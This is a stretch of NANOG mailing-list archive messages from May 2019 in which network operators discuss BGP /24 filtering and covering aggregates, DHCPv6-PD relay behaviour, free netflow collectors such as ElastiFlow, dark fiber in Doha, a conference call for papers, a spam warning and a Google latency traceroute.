<276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: On 5/20/19 3:05 PM, William Herrin wrote: > > The technique you describe was one variant of FIB Compression. It got > some attention around 8 years ago on the IRTF Routing Research Group and > some more attention about 5 years ago when several researchers fleshed > out the possible algorithms and projected gains. As I recall they found > a 30% to 60% reduction in FIB use depending on which algorithm was > chosen, how many peers you had, etc. A good start would be killing any /24 announcement where a covering aggregate exists. From jtk at depaul.edu Mon May 20 23:26:48 2019 From: jtk at depaul.edu (John Kristoff) Date: Mon, 20 May 2019 18:26:48 -0500 Subject: BGP prefix filter list In-Reply-To: <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> Message-ID: <20190520182648.4c09a5eb@p50.localdomain> On Mon, 20 May 2019 23:09:02 +0000 Seth Mattinen wrote: > A good start would be killing any /24 announcement where a covering > aggregate exists. I wouldn't do this as a general rule. If an attacker knows networks are 1) not pointing default, 2) dropping /24's, 3) not validating the aggregates, and 4) no actual legitimate aggregate exists, (all reasonable assumptions so far for many /24's), then they have a pretty good opportunity to capture that traffic. John From bill at herrin.us Mon May 20 23:35:44 2019 From: bill at herrin.us (William Herrin) Date: Mon, 20 May 2019 16:35:44 -0700 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> Message-ID: On Mon, May 20, 2019 at 4:09 PM Seth Mattinen wrote: > On 5/20/19 3:05 PM, William Herrin wrote: > > The technique you describe was one variant of FIB Compression. It got > > some attention around 8 years ago on the IRTF Routing Research Group and > > some more attention about 5 years ago when several researchers fleshed > > out the possible algorithms and projected gains. As I recall they found > > a 30% to 60% reduction in FIB use depending on which algorithm was > > chosen, how many peers you had, etc. > > A good start would be killing any /24 announcement where a covering > aggregate exists. Only when the routes are identical -- same origin, same path. Otherwise you're potentially throwing away your only path to that destination. And if you lose the aggregate, the /24 has to be reintroduced to the FIB. Which means you have to interlink the routes in the RIB data structure so that the update algorithm dealing with the aggregate knows there's an associated /24. There's some real subtlety a FIB Compression implementor must take in to account. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From sethm at rollernet.us Tue May 21 00:57:31 2019 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 20 May 2019 17:57:31 -0700 Subject: BGP prefix filter list In-Reply-To: <20190520182648.4c09a5eb@p50.localdomain> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> Message-ID: <96046281-70ed-9f9c-d878-a03dd1eb83be@rollernet.us> On 5/20/19 4:26 PM, John Kristoff wrote: > On Mon, 20 May 2019 23:09:02 +0000 > Seth Mattinen wrote: > >> A good start would be killing any /24 announcement where a covering >> aggregate exists. > I wouldn't do this as a general rule. If an attacker knows networks are > 1) not pointing default, 2) dropping /24's, 3) not validating the > aggregates, and 4) no actual legitimate aggregate exists, (all > reasonable assumptions so far for many /24's), then they have a pretty > good opportunity to capture that traffic. I'm talking about the case where someone has like a /20 and announces the /20 plus every /24 it contains. I regard those as garbage announcements. From ops.lists at gmail.com Tue May 21 01:05:11 2019 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Tue, 21 May 2019 01:05:11 +0000 Subject: INNOG 2 cfp 7/1 to 7/4 New Delhi, India Message-ID: NANOG folks - I recognize that this is rather late notice for your travel schedules but if you happen to be in the region or have teams in India please do attend, or forward this. Thanks. INNOG 2: Call for papers The following is an open call for presentations for the conference and tutorial sessions for the 2nd Indian Network Operators Group (INNOG) Meeting being hosted from 1st July to 4th July 2019 in New Delhi, India. Important dates regarding the Call for Papers: Call For Papers Open: Now First Draft Program Published: 25th June 2019 Deadline For Proposals: 20th June 2019 INNOG 2 Conference: 1st July 2019 INNOG 2 Workshops: 2nd July to 4th July 2019 Please submit Online at https://submission.apnic.net/user/login.php?event=94 Event website: https://www.innog.net/ Note: Any marketing, sales and vendor proprietary content in the presentation is against the spirit of INNOG and it is strictly prohibited. We are looking forward to welcoming you to INNOG 2 in New Delhi, India. Thanks and warm regards, On behalf of the INNOG 2 Program Committee --srs -------------- next part -------------- An HTML attachment was scrubbed... URL: From cb.list6 at gmail.com Tue May 21 01:29:37 2019 From: cb.list6 at gmail.com (Ca By) Date: Mon, 20 May 2019 18:29:37 -0700 Subject: BGP prefix filter list In-Reply-To: <96046281-70ed-9f9c-d878-a03dd1eb83be@rollernet.us> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <96046281-70ed-9f9c-d878-a03dd1eb83be@rollernet.us> Message-ID: On Mon, May 20, 2019 at 5:59 PM Seth Mattinen wrote: > On 5/20/19 4:26 PM, John Kristoff wrote: > > On Mon, 20 May 2019 23:09:02 +0000 > > Seth Mattinen wrote: > > > >> A good start would be killing any /24 announcement where a covering > >> aggregate exists. > > I wouldn't do this as a general rule. If an attacker knows networks are > > 1) not pointing default, 2) dropping /24's, 3) not validating the > > aggregates, and 4) no actual legitimate aggregate exists, (all > > reasonable assumptions so far for many /24's), then they have a pretty > > good opportunity to capture that traffic. > > > I'm talking about the case where someone has like a /20 and announces > the /20 plus every /24 it contains. I regard those as garbage > announcements. The lesson for all is — do not expect /24s to reach all edges. People have been doing this since we hit 512k routes, and will do it more often, regardless of how much shade you throw on this mailer. Like NAT, this is another way that IPv4 is buckling > -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Tue May 21 09:28:41 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Tue, 21 May 2019 05:28:41 -0400 Subject: BGP prefix filter list In-Reply-To: <20190520182648.4c09a5eb@p50.localdomain> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> Message-ID: <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> On 5/20/19 7:26 PM, John Kristoff wrote: > On Mon, 20 May 2019 23:09:02 +0000 > Seth Mattinen wrote: > >> A good start would be killing any /24 announcement where a covering >> aggregate exists. > I wouldn't do this as a general rule. If an attacker knows networks are > 1) not pointing default, 2) dropping /24's, 3) not validating the > aggregates, and 4) no actual legitimate aggregate exists, (all > reasonable assumptions so far for many /24's), then they have a pretty > good opportunity to capture that traffic. +1 John Seth approach could be an option _only_ if prefix has an aggregate exists && as origin are the same > John From lists.nanog at monmotha.net Tue May 21 10:38:12 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Tue, 21 May 2019 06:38:12 -0400 Subject: DHCPv6-PD relay route injection - standard? In-Reply-To: References: <768bef02-399c-19b3-f18b-beb00a90eb57@monmotha.net> <99dd418e-9cf4-dc2e-daa2-14b4c9b6cc66@monmotha.net> Message-ID: On 5/19/19 2:05 AM, Mikael Abrahamsson wrote: > There needs to be interaction between the packet forwarding layer and > the DHCP layer when doing things like DHCPv6-PD, otherwise it's not of > any use. It was implicit to me, anyway, that this type of behavior is only relevant when the DHCP-endpoint (customer) subnet default router's control plane and the DHCP relay agent are in intimate communication i.e. are essentially integrated in some meaningful way. I guess you could extend the behavior to any situation where the router is able to snoop the DHCP relay conversation, but I think that's fraught with issues since, if the relay agent isn't on the router itself, who knows where it is on the L2, and trying to snoop the relay-server communication, rather than the client-relay exchange, may give lots of crazy behavior. If the relay isn't integrated with the router in any meaningful way, I guess you have to fall back to some undefined "out of band signaling protocol" which I guess we don't have, either. BGP or OpenFlow seem like the most obvious options. I guess most networks offering this are using heavy-weight subscriber management facilities based on RADIUS or some other more-involved AAA mechanism? That's obvious if you're running PPPoE and have highly centralized L3 termination but less so if you're running native Ethernet (or something that looks like Ethernet) everywhere with semi-distributed L3 termination. -- Brandon Martin From adamv0025 at netconsultings.com Wed May 22 08:23:58 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Wed, 22 May 2019 09:23:58 +0100 Subject: BGP prefix filter list In-Reply-To: <9351a0f2-2e01-92c5-613d-7abf3aadb573@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> <9351a0f2-2e01-92c5-613d-7abf3aadb573@ispn.net> Message-ID: <002001d51077$b4a17350$1de459f0$@netconsultings.com> > From: NANOG On Behalf Of Blake Hudson > Sent: Monday, May 20, 2019 4:35 PM > > As I recall reading about one vendor's platform (the ASR9k > perhaps?) and its TCAM organization process, it stored /32 routes in a > dedicated area for faster lookups and did the same for /24 routes. > Yes that was true for the first generation (trident based) line-cards and is no longer the case anymore. adam From ahebert at pubnix.net Wed May 22 12:08:19 2019 From: ahebert at pubnix.net (Alain Hebert) Date: Wed, 22 May 2019 08:08:19 -0400 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <4c4acfb6-b7b3-93bd-ea00-3084c6bfe814@pubnix.net>     +1 for elasticflow     But make sure to clear the indexes, as it wasn't included with the project, when we installed ours.     Here's our solution that delete them after 90 days. ----- Crontab 0 12 * * * (cd /usr/local//scripts; ./_elastiflow_prune.sh) > /dev/null 2>&1 ----- Content of the *_prune.sh for Linux #!/bin/csh -f set d_current=`date "+%s"` set d_90=`expr ${d_current} - \( 90 \* 24 \* 60 \* 60 \)` set idx=`date -d @${d_90} "+%Y.%m.%d"` curl -XDELETE "http://localhost:9200/elastiflow-${idx}" ----- Alain Hebert ahebert at pubnix.net PubNIX Inc. 50 boul. St-Charles P.O. Box 26770 Beaconsfield, Quebec H9W 6G7 Tel: 514-990-5911 http://www.pubnix.net Fax: 514-990-9443 On 2019-05-18 00:19, Crist Clark wrote: > Been loving Elastiflow. Way overkill for what you need, but it's > actually pretty easy to setup. > > https://github.com/robcowart/elastiflow > > > On Fri, May 17, 2019 at 7:25 AM Dennis Burgess via NANOG > wrote: >> I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. >> >> >> >> Thanks in advance. >> >> >> >> >> >> Dennis Burgess, Mikrotik Certified Trainer >> >> Author of "Learn RouterOS- Second Edition” >> >> Link Technologies, Inc -- Mikrotik & WISP Support Services >> >> Office: 314-735-0270 Website: http://www.linktechs.net >> >> Create Wireless Coverage’s with www.towercoverage.com >> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Wed May 22 12:39:56 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 22 May 2019 07:39:56 -0500 (CDT) Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <1513407380.2757.1558528795987.JavaMail.mhammett@ThunderFuck> The last time I looked, Esastiflow didn't accept a BGP session to learn ASes. Has that changed? ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Crist Clark" To: "Dennis Burgess" Cc: nanog at nanog.org Sent: Friday, May 17, 2019 11:19:02 PM Subject: Re: Free Program to take netflow Been loving Elastiflow. Way overkill for what you need, but it's actually pretty easy to setup. https://github.com/robcowart/elastiflow On Fri, May 17, 2019 at 7:25 AM Dennis Burgess via NANOG wrote: > > I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. > > > > Thanks in advance. > > > > > > Dennis Burgess, Mikrotik Certified Trainer > > Author of "Learn RouterOS- Second Edition” > > Link Technologies, Inc -- Mikrotik & WISP Support Services > > Office: 314-735-0270 Website: http://www.linktechs.net > > Create Wireless Coverage’s with www.towercoverage.com > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jason+nanog at lixfeld.ca Wed May 22 13:12:35 2019 From: jason+nanog at lixfeld.ca (Jason Lixfeld) Date: Wed, 22 May 2019 09:12:35 -0400 Subject: Free Program to take netflow In-Reply-To: References: Message-ID: <7DE04801-15BE-4163-9D57-7427183C3E6B@lixfeld.ca> I loved using ElastiFlow, but we didn’t quite work out in the end. Here’s my $0.02 - - ElastiFlow setup is easy-ish. - ELK setup is easy-ish. - Scaling ELK is not easy unless you know what you’re doing. If you’ve got enough flows that you need to scale ELK, you’re probably also using multiple flow exporters, at which point this[1] could bite you and if ELK scaling was hard for you, dealing with this might not be trivial until Rob decides how best to bake a fix into EF. I learned ELK because I wanted to use EF, but I only learned enough about ELK to get me by. Having to also learn about REDIS and having to learn more about ELK to make it work with REDIS and EF was a show stopper; I just didn’t have the time. [1] https://github.com/robcowart/elastiflow/issues/205 > On May 18, 2019, at 12:19 AM, Crist Clark wrote: > > Been loving Elastiflow. Way overkill for what you need, but it's > actually pretty easy to setup. > > https://github.com/robcowart/elastiflow > > > On Fri, May 17, 2019 at 7:25 AM Dennis Burgess via NANOG > wrote: >> >> I am looking for a free program to take netflow and output what the top traffic ASes to and from my AS are. Something that we can look at every once in a while, and/or spin up and get data then shutdown.. Just have two ports need netflow from currently. >> >> >> >> Thanks in advance. >> >> >> >> >> >> Dennis Burgess, Mikrotik Certified Trainer >> >> Author of "Learn RouterOS- Second Edition” >> >> Link Technologies, Inc -- Mikrotik & WISP Support Services >> >> Office: 314-735-0270 Website: http://www.linktechs.net >> >> Create Wireless Coverage’s with www.towercoverage.com >> >> From blake at ispn.net Wed May 22 13:14:46 2019 From: blake at ispn.net (Blake Hudson) Date: Wed, 22 May 2019 08:14:46 -0500 Subject: BGP prefix filter list In-Reply-To: <002001d51077$b4a17350$1de459f0$@netconsultings.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <7e322d80-9acf-0ce5-e216-8959ba5874a7@gmail.com> <9351a0f2-2e01-92c5-613d-7abf3aadb573@ispn.net> <002001d51077$b4a17350$1de459f0$@netconsultings.com> Message-ID: <5e9aed40-14bb-5362-8a70-0551a3313a14@ispn.net> adamv0025 at netconsultings.com wrote on 5/22/2019 3:23 AM: >> From: NANOG On Behalf Of Blake Hudson >> Sent: Monday, May 20, 2019 4:35 PM >> >> As I recall reading about one vendor's platform (the ASR9k >> perhaps?) and its TCAM organization process, it stored /32 routes in a >> dedicated area for faster lookups and did the same for /24 routes. >> > Yes that was true for the first generation (trident based) line-cards and is no longer the case anymore. > > adam > > Thanks Adam! For the life of me I could not remember where I read that information or what platform it applied to. I do recall it being a very transparent view into TCAM organization and I appreciated the insight. It was also a good reminder that it pays to understand your platform as I had previously (naively) thought that a 1M capacity FIB could hold 1M entries with any mask size, whether those be 1M /32 entries (a BRAS with 1M PPP/BNG subscribers) or 1M /24 or bigger entries (a BGP edge router). This was obviously not the case on that platform. From niels=nanog at bakker.net Wed May 22 13:34:49 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Wed, 22 May 2019 15:34:49 +0200 Subject: Free Program to take netflow In-Reply-To: <1513407380.2757.1558528795987.JavaMail.mhammett@ThunderFuck> References: <1513407380.2757.1558528795987.JavaMail.mhammett@ThunderFuck> Message-ID: <20190522133449.GF88473@jima.tpb.net> * nanog at ics-il.net (Mike Hammett) [Wed 22 May 2019, 14:40 CEST]: >The last time I looked, Esastiflow didn't accept a BGP session to learn ASes. Has that changed? You can put pmacct inbetween to alleviate this. -- Niels. From nanog at ics-il.net Wed May 22 13:37:16 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 22 May 2019 08:37:16 -0500 (CDT) Subject: Free Program to take netflow In-Reply-To: <20190522133449.GF88473@jima.tpb.net> References: <1513407380.2757.1558528795987.JavaMail.mhammett@ThunderFuck> <20190522133449.GF88473@jima.tpb.net> Message-ID: <1325860619.2915.1558532234883.JavaMail.mhammett@ThunderFuck> nProbe as well. I was just checking if the setup was made simpler. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Niels Bakker" To: nanog at nanog.org Sent: Wednesday, May 22, 2019 8:34:49 AM Subject: Re: Free Program to take netflow * nanog at ics-il.net (Mike Hammett) [Wed 22 May 2019, 14:40 CEST]: >The last time I looked, Esastiflow didn't accept a BGP session to learn ASes. Has that changed? You can put pmacct inbetween to alleviate this. -- Niels. -------------- next part -------------- An HTML attachment was scrubbed... URL: From email at edylie.net Wed May 22 13:55:45 2019 From: email at edylie.net (Pui Edylie) Date: Wed, 22 May 2019 21:55:45 +0800 Subject: Doha dark fiber Message-ID: <5ce554f3.1c69fb81.363d4.93fdSMTPIN_ADDED_MISSING@mx.google.com> Anyone knows anyone has dark fiber in doha and has a pop in Singapore?Thank you.RegardsEdySent from my Samsung Galaxy smartphone. -------------- next part -------------- An HTML attachment was scrubbed... URL: From mehmet at akcin.net Wed May 22 14:08:16 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Wed, 22 May 2019 07:08:16 -0700 Subject: Doha dark fiber In-Reply-To: <5ce554f3.1c69fb81.363d4.93fdSMTPIN_ADDED_MISSING@mx.google.com> References: <5ce554f3.1c69fb81.363d4.93fdSMTPIN_ADDED_MISSING@mx.google.com> Message-ID: yes. GBI http://www.gbiinc.com/ https://gbi.networkatlas.com/ (customized so you can view just their network rest of cables are at www.infrapedia.com ) if you need an intro to them, let me know mehmet On Wed, May 22, 2019 at 6:56 AM Pui Edylie wrote: > Anyone knows anyone has dark fiber in doha and has a pop in Singapore? > > Thank you. > > Regards > Edy > > > > Sent from my Samsung Galaxy smartphone. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From beecher at beecher.cc Wed May 22 16:40:09 2019 From: beecher at beecher.cc (Tom Beecher) Date: Wed, 22 May 2019 12:40:09 -0400 Subject: BGP prefix filter list In-Reply-To: <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> Message-ID: There are sometimes legitimate reasons to have a covering aggregate with some more specific announcements. Certainly there's a lot of cleanup that many should do in this area, but it might not be the best approach to this issue. On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta < alejandroacostaalamo at gmail.com> wrote: > > On 5/20/19 7:26 PM, John Kristoff wrote: > > On Mon, 20 May 2019 23:09:02 +0000 > > Seth Mattinen wrote: > > > >> A good start would be killing any /24 announcement where a covering > >> aggregate exists. > > I wouldn't do this as a general rule. If an attacker knows networks are > > 1) not pointing default, 2) dropping /24's, 3) not validating the > > aggregates, and 4) no actual legitimate aggregate exists, (all > > reasonable assumptions so far for many /24's), then they have a pretty > > good opportunity to capture that traffic. > > > +1 John > > Seth approach could be an option _only_ if prefix has an aggregate > exists && as origin are the same > > > > John > -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Wed May 22 16:58:52 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Wed, 22 May 2019 12:58:52 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> <400065099.3557.1557947984364.JavaMail.mhammett@ThunderFuck> <276e2707-1a49-81df-e734-df37f848d722@ispn.net> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> Message-ID: <2b343f02-093f-58c7-d269-5d2fad472110@gmail.com> Hello.., you are totally right, the first reason that came to my mind is traffic engineering but there are other reasons too. On 5/22/19 12:40 PM, Tom Beecher wrote: > There are sometimes legitimate reasons to have a covering aggregate > with some more specific announcements. Certainly there's a lot of > cleanup that many should do in this area, but it might not be the best > approach to this issue. > > On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta > > wrote: > > > On 5/20/19 7:26 PM, John Kristoff wrote: > > On Mon, 20 May 2019 23:09:02 +0000 > > Seth Mattinen > > wrote: > > > >> A good start would be killing any /24 announcement where a covering > >> aggregate exists. > > I wouldn't do this as a general rule.  If an attacker knows > networks are > > 1) not pointing default, 2) dropping /24's, 3) not validating the > > aggregates, and 4) no actual legitimate aggregate exists, (all > > reasonable assumptions so far for many /24's), then they have a > pretty > > good opportunity to capture that traffic. > > > +1 John > > Seth approach could be an option _only_ if prefix has an aggregate > exists && as origin are the same > > > > John > -------------- next part -------------- An HTML attachment was scrubbed... URL: From sabri at cluecentral.net Wed May 22 17:08:29 2019 From: sabri at cluecentral.net (Sabri Berisha) Date: Wed, 22 May 2019 10:08:29 -0700 (PDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> Message-ID: <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> Hi, One legitimate reason is the split of companies. In some cases, IP space needs to be divided up. For example, company A splits up in AA and AB, and has a /20. Company AA may advertise the /20, while the new AB may advertise the top or bottom /21. I know of at least one worldwide e-commerce company that is in that situation. Thanks, Sabri ----- On May 22, 2019, at 9:40 AM, Tom Beecher wrote: > There are sometimes legitimate reasons to have a covering aggregate with some > more specific announcements. Certainly there's a lot of cleanup that many > should do in this area, but it might not be the best approach to this issue. > On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta < [ > mailto:alejandroacostaalamo at gmail.com | alejandroacostaalamo at gmail.com ] > > wrote: >> On 5/20/19 7:26 PM, John Kristoff wrote: >> > On Mon, 20 May 2019 23:09:02 +0000 >> > Seth Mattinen < [ mailto:sethm at rollernet.us | sethm at rollernet.us ] > wrote: >> >> A good start would be killing any /24 announcement where a covering >> >> aggregate exists. >> > I wouldn't do this as a general rule. If an attacker knows networks are >> > 1) not pointing default, 2) dropping /24's, 3) not validating the >> > aggregates, and 4) no actual legitimate aggregate exists, (all >> > reasonable assumptions so far for many /24's), then they have a pretty >> > good opportunity to capture that traffic. >> +1 John >> Seth approach could be an option _only_ if prefix has an aggregate >> exists && as origin are the same >> > John -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Wed May 22 18:23:20 2019 From: ross at tajvar.io (Ross Tajvar) Date: Wed, 22 May 2019 14:23:20 -0400 Subject: BGP prefix filter list In-Reply-To: <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <0516d458-195f-bfd5-f6f8-e227243c27ee@ispn.net> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> Message-ID: In that case shouldn't each company advertise a /21? On Wed, May 22, 2019, 1:11 PM Sabri Berisha wrote: > Hi, > > One legitimate reason is the split of companies. In some cases, IP space > needs to be divided up. For example, company A splits up in AA and AB, and > has a /20. Company AA may advertise the /20, while the new AB may advertise > the top or bottom /21. I know of at least one worldwide e-commerce company > that is in that situation. > > Thanks, > > Sabri > > > ----- On May 22, 2019, at 9:40 AM, Tom Beecher wrote: > > There are sometimes legitimate reasons to have a covering aggregate with > some more specific announcements. Certainly there's a lot of cleanup that > many should do in this area, but it might not be the best approach to this > issue. > > On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta < > alejandroacostaalamo at gmail.com> wrote: > >> >> On 5/20/19 7:26 PM, John Kristoff wrote: >> > On Mon, 20 May 2019 23:09:02 +0000 >> > Seth Mattinen wrote: >> > >> >> A good start would be killing any /24 announcement where a covering >> >> aggregate exists. >> > I wouldn't do this as a general rule. If an attacker knows networks are >> > 1) not pointing default, 2) dropping /24's, 3) not validating the >> > aggregates, and 4) no actual legitimate aggregate exists, (all >> > reasonable assumptions so far for many /24's), then they have a pretty >> > good opportunity to capture that traffic. >> >> >> +1 John >> >> Seth approach could be an option _only_ if prefix has an aggregate >> exists && as origin are the same >> >> >> > John >> > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From vwittkop at nanog.org Thu May 23 17:46:51 2019 From: vwittkop at nanog.org (Valerie Wittkop) Date: Thu, 23 May 2019 13:46:51 -0400 Subject: Spamming of NANOG list members Message-ID: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> Hello NANOG Community, It has come to our attention there are spamming messages being sent to members of the NANOG mail list spoofed to look as though they are coming from the NANOG organization. The messages being sent refer to NANOG Remittance, with an attachment containing a virus. These messages are not flowing through NANOG servers, nor using the NANOG domain. They are not messages coming from the NANOG organization. Please be aware if you receive a message matching this description and always make sure to scan attachments for a virus. Cheers, Valerie Valerie Wittkop - NANOG Program Director 305 E. Eisenhower Pkwy, Suite 100, Ann Arbor, MI 48108 Tel: +1 866 902 1336, ext 103 -------------- next part -------------- An HTML attachment was scrubbed... URL: From conrad at rockenhaus.com Thu May 23 15:52:12 2019 From: conrad at rockenhaus.com (Conrad Rockenhaus) Date: Thu, 23 May 2019 10:52:12 -0500 Subject: Grande Communications Contact Message-ID: Hello, Does anyone have a Grande Communications Contact? Thanks, Conrad -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 1403 bytes Desc: not available URL: From matt at netfire.net Thu May 23 19:47:10 2019 From: matt at netfire.net (Matt Harris) Date: Thu, 23 May 2019 14:47:10 -0500 Subject: Google weird routing? Message-ID: Hey folks, Looking at an mtr going out via a couple of different transit circuits, Google seems to be doing weird things. RTT pinging google.com is coming up with like 250-300ms times, but mtr's are telling me my packets are hitting google's network very quickly. Google's network then seems to send them on a rather long trip before reaching the google.com frontend servers. An example: 6 213.200.123.170 (213.200.123.170) 3.450 ms ae-1-3502.ear4.Newark1.Level3.net (4.69.211.177) 1.469 ms 1.634 ms 7 72.14.213.34 (72.14.213.34) 1.336 ms 1.372 ms 1.381 ms 8 108.170.248.52 (108.170.248.52) 2.474 ms * 2.150 ms 9 216.239.62.170 (216.239.62.170) 1.401 ms 216.239.62.150 (216.239.62.150) 1.400 ms 216.239.62.168 (216.239.62.168) 2.985 ms 10 216.239.57.136 (216.239.57.136) 20.043 ms 216.239.59.0 (216.239.59.0) 20.235 ms 216.239.57.196 (216.239.57.196) 20.382 ms 11 209.85.254.241 (209.85.254.241) 2.155 ms 108.170.235.61 (108.170.235.61) 74.295 ms 209.85.241.43 (209.85.241.43) 78.593 ms 12 72.14.239.155 (72.14.239.155) 96.254 ms 216.239.57.196 (216.239.57.196) 19.672 ms 72.14.239.155 (72.14.239.155) 96.328 ms 13 108.170.235.217 (108.170.235.217) 153.391 ms 108.170.236.119 (108.170.236.119) 153.445 ms 108.170.235.221 (108.170.235.221) 152.858 ms 14 172.253.51.111 (172.253.51.111) 220.084 ms 66.249.94.141 (66.249.94.141) 218.039 ms 72.14.239.197 (72.14.239.197) 75.008 ms 15 209.85.241.86 (209.85.241.86) 276.281 ms 72.14.235.160 